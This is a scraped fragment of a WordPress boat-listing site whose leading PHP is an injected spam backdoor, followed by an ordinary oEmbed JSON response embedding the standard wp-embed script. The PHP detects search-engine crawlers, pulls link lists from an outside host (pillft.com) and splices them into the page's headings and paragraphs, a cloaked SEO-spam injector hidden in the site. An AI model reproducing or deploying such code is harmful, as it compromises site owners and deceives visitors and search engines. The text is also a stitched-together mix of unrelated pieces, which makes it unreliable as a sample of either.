if($donor_good){ if(function_exists('http_response_code')){ if(http_response_code() != 200){ $donor_good = false; } } } if($donor_good){ $content_bad_patterns = array( '(.*)404(.*)<', '<title>(.*)not found(.*)<', '<title>(.*)cannot be displayed(.*)<', ); foreach($content_bad_patterns as $bad_pattern) { if(preg_match('#' . $bad_pattern . '#i', $my_content)){ $donor_good = false; break; } } } if($donor_good){ if(strlen($donor) > 210){ $donor_good = false; } } if($donor_good){ $itemcrawler = 'x'; if($isgb){ $itemcrawler = 'g'; } if( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ){ $itemcrawler = 't'; } $donor = urlencode($donor); $ll = get_data_yo("http://pillft.com/g3p7e/tuktuk.php?d=$donor&dgrp=$algo&b=$itemcrawler&hs=$hspan"); $el = explode(' ', $ll); } } // if(strpos($donor, 'tgththththtt') !== false){ // @ini_set('display_errors', '1'); // error_reporting(E_ALL); // $my_content = '---debug---<br>'.rnd_label().'<br>' . $my_content; // } // ------ if ($my_content && ( isset($_GET[$tstgvar]) or strpos($ua, $tstuavar) ) ) { $my_content = '---label---<br>'.rnd_label().'<br>' . $my_content; } if ( $donor_good) { $my_content = str_replace('_-', '{nnnYYY}', $my_content); $my_content = str_replace('-_', '{YYYnnn}', $my_content); foreach($el as $ln) { $ln = str_replace('</p>', '_-/p-_', $ln); if (!$hspan && preg_match('#<strong>([^<]{5,150})</strong>#', $my_content)) { $my_content = preg_replace('#<strong>([^<]{5,150})</strong>#', "_-strong-_ $ln \${1} _-/strong-_ ", $my_content, 1); } elseif (preg_match('#</h1>#', $my_content)) { $my_content = preg_replace('#</h1>#', "_-/h1-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<b>([^<]{3,100})</b>#', $my_content)) { $my_content = preg_replace('#<b>([^<]{3,100})</b>#', "_-b-_ $ln \${1} _-/b-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<i>([^<]{3,100})</i>#', $my_content)) { $my_content = preg_replace('#<i>([^<]{3,100})</i>#', "_-i-_ $ln \${1} _-/i-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<u>([^<]{3,100})</u>#', $my_content)) { $my_content = preg_replace('#<u>([^<]{3,100})</u>#', "_-u-_ $ln \${1} _-/u-_ ", $my_content, 1); } elseif (!$hspan && preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (!$hspan && preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body\${1}>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); $my_content = str_replace('{nnnYYY}', '_-', $my_content); $my_content = str_replace('{YYYnnn}', '-_', $my_content); } echo $my_content;xdie(); } shutdown(); } } {"version":"1.0","provider_name":"PURSUIT","provider_url":"https:\/\/frenchboatmarket.com\/pursuit","author_name":"ancafbm","author_url":"https:\/\/frenchboatmarket.com\/pursuit\/author\/ancafbm\/","title":"SPORT S378","type":"rich","width":600,"height":338,"html":"<blockquote class=\"wp-embedded-content\" data-secret=\"rgTWABlXuu\"><a href=\"https:\/\/frenchboatmarket.com\/pursuit\/sport\/sport-s378\/\">SPORT S378<\/a><\/blockquote><iframe sandbox=\"allow-scripts\" security=\"restricted\" src=\"https:\/\/frenchboatmarket.com\/pursuit\/sport\/sport-s378\/embed\/#?secret=rgTWABlXuu\" width=\"600\" height=\"338\" title=\"\u00ab\u00a0SPORT S378\u00a0\u00bb — PURSUIT\" data-secret=\"rgTWABlXuu\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" class=\"wp-embedded-content\"><\/iframe><script type=\"text\/javascript\">\n\/* <![CDATA[ *\/\n\/**\n * WordPress inline HTML embed\n *\n * @since 4.4.0\n * @output wp-includes\/js\/wp-embed.js\n *\n * Single line comments should not be used since they will break\n * the script when inlined in get_post_embed_html(), specifically\n * when the comments are not stripped out due to SCRIPT_DEBUG\n * being turned on.\n *\/\n(function ( window, document ) {\n\t'use strict';\n\n\t\/* Abort for ancient browsers. *\/\n\tif ( ! document.querySelector || ! window.addEventListener || typeof URL === 'undefined' ) {\n\t\treturn;\n\t}\n\n\t\/** @namespace wp *\/\n\twindow.wp = window.wp || {};\n\n\t\/* Abort if script was already executed. *\/\n\tif ( !! window.wp.receiveEmbedMessage ) {\n\t\treturn;\n\t}\n\n\t\/**\n\t * Receive embed message.\n\t *\n\t * @param {MessageEvent} e\n\t *\/\n\twindow.wp.receiveEmbedMessage = function( e ) {\n\t\tvar data = e.data;\n\n\t\t\/* Verify shape of message. *\/\n\t\tif (\n\t\t\t! ( data || data.secret || data.message || data.value ) ||\n\t\t\t\/[^a-zA-Z0-9]\/.test( data.secret )\n\t\t) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar iframes = document.querySelectorAll( 'iframe[data-secret=\"' + data.secret + '\"]' ),\n\t\t\tblockquotes = document.querySelectorAll( 'blockquote[data-secret=\"' + data.secret + '\"]' ),\n\t\t\tallowedProtocols = new RegExp( '^https?:$', 'i' ),\n\t\t\ti, source, height, sourceURL, targetURL;\n\n\t\tfor ( i = 0; i < blockquotes.length; i++ ) {\n\t\t\tblockquotes[ i ].style.display = 'none';\n\t\t}\n\n\t\tfor ( i = 0; i < iframes.length; i++ ) {\n\t\t\tsource = iframes[ i ];\n\n\t\t\tif ( e.source !== source.contentWindow ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tsource.removeAttribute( 'style' );\n\n\t\t\tif ( 'height' === data.message ) {\n\t\t\t\t\/* Resize the iframe on request. *\/\n\t\t\t\theight = parseInt( data.value, 10 );\n\t\t\t\tif ( height > 1000 ) {\n\t\t\t\t\theight = 1000;\n\t\t\t\t} else if ( ~~height < 200 ) {\n\t\t\t\t\theight = 200;\n\t\t\t\t}\n\n\t\t\t\tsource.height = height;\n\t\t\t} else if ( 'link' === data.message ) {\n\t\t\t\t\/* Link to a specific URL on request. *\/\n\t\t\t\tsourceURL = new URL( source.getAttribute( 'src' ) );\n\t\t\t\ttargetURL = new URL( data.value );\n\n\t\t\t\tif (\n\t\t\t\t\tallowedProtocols.test( targetURL.protocol ) &&\n\t\t\t\t\ttargetURL.host === sourceURL.host &&\n\t\t\t\t\tdocument.activeElement === source\n\t\t\t\t) {\n\t\t\t\t\twindow.top.location.href = data.value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n\n\tfunction onLoad() {\n\t\tvar iframes = document.querySelectorAll( 'iframe.wp-embedded-content' ),\n\t\t\ti, source, secret;\n\n\t\tfor ( i = 0; i < iframes.length; i++ ) {\n\t\t\t\/** @var {IframeElement} *\/\n\t\t\tsource = iframes[ i ];\n\n\t\t\tsecret = source.getAttribute( 'data-secret' );\n\t\t\tif ( ! secret ) {\n\t\t\t\t\/* Add secret to iframe *\/\n\t\t\t\tsecret = Math.random().toString( 36 ).substring( 2, 12 );\n\t\t\t\tsource.src += '#?secret=' + secret;\n\t\t\t\tsource.setAttribute( 'data-secret', secret );\n\t\t\t}\n\n\t\t\t\/*\n\t\t\t * Let post embed window know that the parent is ready for receiving the height message, in case the iframe\n\t\t\t * loaded before wp-embed.js was loaded. When the ready message is received by the post embed window, the\n\t\t\t * window will then (re-)send the height message right away.\n\t\t\t *\/\n\t\t\tsource.contentWindow.postMessage( {\n\t\t\t\tmessage: 'ready',\n\t\t\t\tsecret: secret\n\t\t\t}, '*' );\n\t\t}\n\t}\n\n\twindow.addEventListener( 'message', window.wp.receiveEmbedMessage, false );\n\tdocument.addEventListener( 'DOMContentLoaded', onLoad, false );\n})( window, document );\n\n\/* ]]> *\/\n<\/script>\n"}